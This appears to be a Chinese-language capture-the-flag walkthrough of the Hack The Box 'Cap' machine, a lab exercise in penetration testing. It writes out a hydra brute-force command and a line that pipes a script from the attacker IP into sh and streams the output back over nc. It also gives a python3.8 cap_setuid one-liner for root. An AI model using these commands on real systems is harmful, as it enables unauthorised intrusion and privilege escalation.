HTB cap

  1. 获取普通权限
  2. 提权
    1. 使用 LinPEAS
  3. Capabilities
  4. 后记
IP ROLE OS
10.10.10.245 Victim Linux
10.10.14.228 Attacker Kali

如果你是在找writeup而看的这篇文章,那么请再坚持一下。这里给一点提示:

  1. 仔细观察表面内容,这题并没有需要深挖的内容,别想多
  2. root的方法题目已经给出来了

获取普通权限

通过nmap检查端口,发现有21 22 80端口打开,再没有其他端口。

第一反应是ftp的匿名用户或者常用用户。尝试爆破,这里推荐这个字典

hydra -C password.txt -u -e s 10.10.10.245 ftp

ftp这里其实是个幌子,使用常用密码爆破没有作用。

然后打开80网页,通过观察,发现10.10.10.245/data/3这个页面是的数字是变动的,更改为0后获取pcap文件。

Wireshark打开后过观察报文发现有FTP报文,追踪TCP流的到FTP用户密码

ssh 登录

ssh nathan@10.10.10.245

提权

提权起手式

  • 查看sudo -l
  • 利用LinPEAS搜索

当查看sudo -l的时候,此用户没有任何内容

使用 LinPEAS

使用不写入硬盘的方式利用LinPEAS,这里用到cmder工具提示命令。

下载LinPEAS

监听端口并发送LinPEAS

python3 -m http.server 5711 &
nc -lvnp 1633 | tee linpeas.out

用cmder得到命令后,到目标机上执行

curl 10.10.14.228:5711/linpeas.sh | sh | nc 10.10.14.228 1633

这样就可以不留痕迹的得到输出文件了

Capabilities

观察输出文件发现

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Shell capabilities: 0x0000000000000000= CapInh: 0000000000000000 CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: 0000003fffffffff CapAmb: 0000000000000000
Files with capabilities (limited to 50): /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip /usr/bin/ping = cap_net_raw+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep /usr/bin/mtr-packet = cap_net_raw+ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

了解到python3.8拥有cap_setuid的能力。 关于Capabilities请查看Linux Capabilities

cap_setuid可以设置有效用户,能够提权。

因为是python,所以利用方法为

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

得到root权限

后记

本题简单,但是也有知识点,需要对Linux Capabilities有所了解。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 365433079@qq.com